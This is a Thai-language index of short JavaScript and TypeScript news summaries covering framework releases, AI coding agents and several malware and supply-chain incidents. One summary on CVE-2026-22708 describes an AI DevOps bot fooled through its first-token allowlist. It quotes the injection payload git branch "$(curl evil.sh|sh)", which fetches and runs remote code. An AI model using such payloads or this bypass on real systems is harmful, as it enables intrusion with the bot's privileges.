GyaanSetu JavaScript

ระบบนิเวศ JavaScript และ TypeScript

100 articlesDeep, practical knowledge

‘Pi’ และ ‘Tardis’ ขุมพลัง AI ช่วยให้ Shopify บอกลา React Native หลังใช้งานมานานถึง 6 ปี

Shopify ได้สร้างเอเจนต์ AI ภายในขึ้นมาสองตัว คือ Pi สำหรับการทำ feature mapping และ Tardis สำหรับการทำ live debugging เพื่อช่วยในการเขียนโค้ดใหม่โดยอัตโนมัติ ซึ่งช่วยให้สามารถยกเลิกการใช้ React Native stack ที่ใช้งานมานานถึง 6 ปีได้สำเร็จ พร้อมทั้งทำให้แอปเปิดใช้งานได้เร็วขึ้น 2 วินาที ขนาดแอปเล็กลง 109 MB และลดอัตราการแอปเด้ง (crashes) ลงได้ประมาณ 10 เท่า

JavaScript · 2 min read

Promise.withResolvers ใน Node 22 ช่วยลดการวนลูปของ Claude Tool ลงได้ถึงครึ่งหนึ่ง

ด้วยการแทนที่รูปแบบ `new Promise` ที่เทอะทะด้วยการเรียกใช้ `Promise.withResolvers()` เพียงครั้งเดียว นักพัฒนาสามารถส่งฟังก์ชัน resolve/reject ไปยังส่วนใดก็ได้ของระบบ ช่วยลดปัญหาการลืม resolve, คำเตือนเรื่อง double-reject และการเขียนโค้ดแบบซ้อนกันหลายชั้น (deep nesting) ซึ่งมีประโยชน์อย่างยิ่งในสภาพแวดล้อมแบบ serverless Lambda

JavaScript · 4 min read

Pocket-35B ของ VIDRAFT รันบน CPU ของแล็ปท็อปเครื่องไหนก็ได้ พร้อมยอดดาวน์โหลดทะลุ 1 ล้านครั้ง

น้ำหนักโมเดลในรูปแบบ GGUF ของ Pocket-35B สามารถโหลดเข้าสู่ llama.cpp หรือ Ollama ได้โดยตรง ช่วยให้ทีมที่ไม่มีงบประมาณสำหรับ GPU สามารถรันโมเดลขนาด 35 พันล้านพารามิเตอร์บนแล็ปท็อปทั่วไปได้ ขอเพียงแค่มี RAM เพียงพอตามข้อกำหนดขั้นต่ำ

JavaScript · 3 min read

ทำไม HTML5 Player ที่คุณปรับแต่งเองถึงค้างเมื่อทำการ Casting – 4 กับดักที่ซ่อนอยู่

การ Casting คือการส่งต่อการเล่นวิดีโอไปยังเฟิร์มแวร์ของทีวี ดังนั้น Token จะต้องมีอายุการใช้งานยาวนานกว่าเซสชัน, CORS headers ต้องครอบคลุม Origin ของทีวี และ URL ของสตรีมต้องไม่เป็นแบบ Blob คู่มือนี้จะแนะนำวิธีเปลี่ยนไปใช้ Manifest URL และการตรวจสอบความถูกต้องของการเชื่อมต่อ

JavaScript · 3 min read

มัลแวร์ JSCeal ขโมย OAuth Tokens ของ Chrome ทำให้ Google MFA ไร้ผลสำหรับนักเทรดคริปโต

เพย์โหลดของ JSCeal ที่ทำงานเฉพาะในหน่วยความจำ (RAM) จะดึงคุกกี้, รหัสผ่านที่บันทึกไว้ และ OAuth tokens จากเบราว์เซอร์ตระกูล Chromium จากนั้นจะทำการจำลองเซสชัน (Session Replay) เพื่อข้ามขั้นตอนการยืนยันตัวตนแบบสองปัจจัยของ Google เปิดทางให้ผู้โจมตีสามารถขโมยเงินจาก Binance, Bybit, Ledger และแพลตฟอร์มอื่นๆ ได้

JavaScript · 2 min read

SDK ของ Coinbase Wallet ปลอม 13 รายการ ถล่ม npm Registry ภายในเวลาเพียง 48 วินาที

แพ็กเกจเหล่านี้ถูกเผยแพร่ระหว่างเวลา 04:54:59 ถึง 04:55:48 UTC เมื่อวันที่ 7 กันยายน 2026 โดยเลียนแบบ @coinbase/wallet-sdk ด้วยชื่ออย่างเช่น cb-wallet-http และใช้เวอร์ชัน 0.0.1-security ซึ่งแสดงให้เห็นว่าโค้ดอันตรายสามารถแทรกซึมเข้าสู่โปรเจกต์ต่างๆ ได้รวดเร็วเพียงใด

JavaScript · 2 min read

ClickFix ดักจับการฝากคริปโตโดยตรงจากเบราว์เซอร์ผ่าน Tampermonkey

Cisco Talos ค้นพบ ClickFix ซึ่งเป็นกลโกงการดูดเงินคริปโตที่หลอกล่อให้ผู้ใช้ติดตั้งสคริปต์ Tampermonkey โดยสคริปต์นี้จะทำการเปลี่ยนที่อยู่สำหรับการฝากเงินใหม่แบบเรียลไทม์ เพื่อดูดเงินออกในขณะที่ธุรกรรมยังคงดูเหมือนว่าถูกต้องตามปกติ

JavaScript · 2 min read

มีเพียง 2 จาก 13 ช่วง Semver เท่านั้นที่ทำงานเหมือนกันใน npm, Cargo, Composer และ pip

จากการทดสอบนิพจน์ช่วง 13 แบบกับหมายเลขเวอร์ชัน 19 หมายเลข พบว่ามีผลลัพธ์ที่ตรงกันเพียง 17 รายการ ซึ่งส่วนใหญ่เป็นกรณีที่ไม่ผ่านเงื่อนไข สัญลักษณ์ Caret, tilde และ dot-x ถูกตีความแตกต่างกันในแต่ละ manager ซึ่งนำไปสู่ความไม่เข้ากันที่น่าประหลาดใจ

JavaScript · 2 min read

เผยช่องโหว่บอท DevOps ที่ขับเคลื่อนด้วย AI: การใช้ Prefix Whitelist เปิดทางให้ผู้โจมตีรันโค้ดอันตรายได้ตามต้องการ

CVE-2026-22708 แสดงให้เห็นว่าเอเจนต์ที่ตรวจสอบเพียงโทเคนแรกของคำสั่งสามารถถูกหลอกด้วยเพย์โหลดที่ซ่อนอยู่ในอาร์กิวเมนต์ได้ เช่น git branch "$(curl evil.sh|sh)" ซึ่งช่วยให้ผู้โจมตีได้รับสิทธิ์เทียบเท่ากับบอทอัตโนมัติ

JavaScript · 4 min read

WebFPGA ให้การประมวลผล TinyML Inference ได้ใน 4 ms ที่ 30 mW – โดยไม่มีข้อมูลหลุดออกจากเบราว์เซอร์

WebFPGA ใช้ WebUSB API ในการโปรแกรม Lattice iCE40-UP5K FPGA ผ่าน JavaScript ช่วยให้สามารถประมวลผล TinyML inference ได้ในเวลาไม่ถึง 10 ms โดยใช้พลังงานเพียงไม่กี่สิบมิลลิวัตต์ และเก็บข้อมูลทั้งหมดไว้ภายในอุปกรณ์

JavaScript · 2 min read

LibreOffice 26.8 เผยโรดแมปที่เน้นความเป็นส่วนตัวเป็นอันดับแรก โดยหลีกเลี่ยงการเรียกใช้ AI ผ่านคลาวด์

เวอร์ชันใหม่นี้ปรับปรุงการจัดวางย่อหน้าสำหรับอักขระที่ซับซ้อนให้แม่นยำยิ่งขึ้น เพิ่มมุมมองร่าง (Draft View) แบบเรียบง่าย และปรับปรุงการแปลงไฟล์ ODF เป็น DOCX/XLSX พร้อมทั้งมีการอัปเดตความปลอดภัยและการทำ macro sandboxing เพื่อให้เอกสารปลอดภัยเมื่อใช้งานภายในองค์กร

JavaScript · 2 min read

TypeScript 7 ลดความหน่วงในการตรวจสอบ Type ลงถึง 40% ด้วยไบนารี Rust ตัวใหม่

เอนจินที่เขียนด้วย Rust ทำงานในโปรเซสแยกต่างหาก โดยแยกการวิเคราะห์ Type ออกจาก UI thread และเพิ่มระบบแคชที่ชาญฉลาดซึ่งจะตรวจสอบเฉพาะไฟล์ที่มีการเปลี่ยนแปลงเท่านั้น ช่วยให้การทำ incremental build รวดเร็วและลื่นไหลยิ่งขึ้น

JavaScript · 2 min read

Vapor Mode ของ Vue 3.6 ตัด Virtual DOM ออก ช่วยเพิ่มประสิทธิภาพการทำงานของเกม

Vapor Mode ที่กำลังจะมาใน Vue 3.6 จะคอมไพล์ single-file components ให้เป็นการเรียกใช้งาน DOM โดยตรง ซึ่งช่วยตัดขั้นตอนการเปรียบเทียบ (diff) ของ virtual-DOM ออกไป ในการทดสอบเกมที่มีการวาดภาพใหม่หลายสิบครั้งต่อวินาที การเปลี่ยนแปลงนี้ช่วยลดเวลาในการเรนเดอร์และลดขนาดของ bundle ลงได้ แต่สำหรับ UI ที่มีการอัปเดตไม่บ่อยนักจะเห็นความแตกต่างเพียงเล็กน้อยเท่านั้น

JavaScript · 4 min read

Anthropic จ่ายเงินกว่า 1.65 แสนดอลลาร์ค่า Claude Tokens เพื่อเขียน Bun ใหม่ด้วยภาษา Rust ภายใน 11 วัน

วิศวกรของ Anthropic ใช้เอเจนต์ Claude Fable 5 จำนวน 64 ตัวทำงานขนานกันเพื่อเขียนโค้ดของ Bun ใหม่ด้วยภาษา Rust ภายใน 11 วัน โดยมีค่าใช้จ่ายด้าน token สูงถึง 165,000 ดอลลาร์ แต่ต้นทุนที่แท้จริงน่าจะสูงกว่านี้เมื่อรวมค่าประมวลผลหลังการรวมโค้ดและการตรวจสอบความปลอดภัยเข้าไปด้วย

JavaScript · 3 min read

Claude เปิดตัวเครื่องมือ Agent 4 รายการสู่สถานะ GA พร้อมยกเลิก Beta Headers สำหรับองค์กร

เมื่อไม่มีข้อกำหนดเรื่อง beta-only request headers อีกต่อไป องค์กรต่างๆ ก็สามารถก้าวข้ามอุปสรรคด้านกฎหมายและความปลอดภัยได้เสียที นอกจากนี้ โหมด batch-action ใหม่สำหรับเครื่องมือ computer-use ยังช่วยลดความหน่วงและการใช้ token ลงได้ แม้ว่าความประหยัดที่เกิดขึ้นจริงจะยังต้องรอการยืนยันก็ตาม

JavaScript · 3 min read

Next.js 16.3 ทำให้ Turbopack เสถียรขึ้น พร้อมลดเวลาการ Build ลง 2-5 เท่าสำหรับแอปขนาดกลาง

การอัปเดตนี้ยังมาพร้อมกับ Partial Prerendering ที่พร้อมใช้งานจริง ซึ่งช่วยลด Time to Interactive ลงได้ถึง 40-60%, การรองรับ TypeScript ที่ดียิ่งขึ้นสำหรับ Server Actions และ middleware ที่พัฒนาด้วย Rust อย่างไรก็ตาม จำเป็นต้องใช้ Node 20 ขึ้นไป และอาจส่งผลกระทบต่อ Webpack plugins เดิมที่ใช้งานอยู่

JavaScript · 3 min read

TanStack Table v9 ลดขนาด Bundle ลงเหลือประมาณ 5 KB ด้วยฟีเจอร์แบบ Opt-In

เวอร์ชัน beta ใหม่ช่วยให้คุณเลือกนำเข้าเฉพาะความสามารถของ grid ที่ใช้งานจริง—ตัดโค้ดส่วนการเรียงลำดับออกไปได้ทั้งหมด ช่วยลดขนาดการดาวน์โหลดลงเหลือเพียงประมาณ 5 KB และหลีกเลี่ยงการทำงานบน main-thread ที่เคยทำให้คะแนน INP ช้าลง

JavaScript · 2 min read

Meteor 3.5 ลดการใช้ CPU ลง 9% และเพิ่ม Throughput เป็นสองเท่าด้วยการสลับไปใช้ uWebSockets.js

Meteor 3.5 เปิดตัว DDP transport แบบ pluggable ที่สามารถสลับไปใช้ uWebSockets.js ได้ผ่าน environment variable DDP_TRANSPORT=uws ซึ่งช่วยเพิ่ม throughput ได้สูงสุดถึง 1.6 เท่า, ลดการใช้ CPU ลง 9%, ลด RAM ลง 11% และลดระยะเวลา GC pauses ลง 26% สำหรับแอปพลิเคชันที่มีการใช้งาน RPC หนักๆ

JavaScript · 2 min read

เจาะลึกการทำ Server Side Caching ขั้นสูงใน Next.js

เจาะลึกการทำ Server Side Caching ขั้นสูงใน Next.js การขยายขนาดแอป Next.js นั้นต้องการมากกว่าแค่การเลือกระหว่าง SSR และ SSG เมื่อข้อมูลของคุณเพิ่มมากขึ้น คุณจำเป็นต้องมีการทำ caching ขั้นสูงเพื่อลด...

JavaScript · 3 min read